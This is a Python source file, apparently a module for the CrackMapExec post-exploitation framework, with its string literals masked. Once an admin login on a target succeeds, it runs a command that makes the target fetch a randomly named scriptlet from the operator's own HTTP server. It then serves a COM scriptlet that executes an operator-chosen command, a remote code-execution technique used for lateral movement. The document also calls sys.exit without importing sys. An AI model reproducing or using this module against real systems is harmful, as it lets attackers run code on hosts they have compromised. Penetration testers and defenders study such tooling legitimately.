<s> from core . helpers import gen_random_string <EOL> from sys import exit <EOL> import os <EOL> class CMEModule : <EOL> '''<STR_LIT>''' <EOL> name = '<STR_LIT>' <EOL> required_server = '<STR_LIT:http>' <EOL> def options ( self , context , module_options ) : <EOL> '''<STR_LIT>''' <EOL> if not '<STR_LIT>' in module_options and not '<STR_LIT>' in module_options : <EOL> context . log . error ( '<STR_LIT>' ) <EOL> sys . exit ( <NUM_LIT:1> ) <EOL> if '<STR_LIT>' in module_options and '<STR_LIT>' in module_options : <EOL> context . log . error ( '<STR_LIT>' ) <EOL> sys . exit ( <NUM_LIT:1> ) <EOL> if '<STR_LIT>' in module_options : <EOL> self . command = module_options [ '<STR_LIT>' ] <EOL> elif '<STR_LIT>' in module_options : <EOL> path = os . path . expanduser ( module_options [ '<STR_LIT>' ] ) <EOL> if not os . path . exists ( path ) : <EOL> context . log . error ( '<STR_LIT>' ) <EOL> sys . exit ( <NUM_LIT:1> ) <EOL> with open ( path , '<STR_LIT:r>' ) as cmdfile : <EOL> self . command = cmdfile . read ( ) . strip ( ) <EOL> self . sct_name = gen_random_string ( <NUM_LIT:5> ) <EOL> def on_admin_login ( self , context , connection ) : <EOL> command = '<STR_LIT>' . format ( context . localip , self . sct_name ) <EOL> connection . execute ( command ) <EOL> context . log . success ( '<STR_LIT>' ) <EOL> def on_request ( self , context , request ) : <EOL> if '<STR_LIT>' . format ( self . sct_name ) in request . path [ <NUM_LIT:1> : ] : <EOL> request . send_response ( <NUM_LIT:200> ) <EOL> request . end_headers ( ) <EOL> com_script = '''<STR_LIT>''' . format ( self . command ) <EOL> request . wfile . write ( com_script ) <EOL> request . stop_tracking_host ( ) <EOL> else : <EOL> request . send_response ( <NUM_LIT> ) <EOL> request . end_headers ( ) </s>
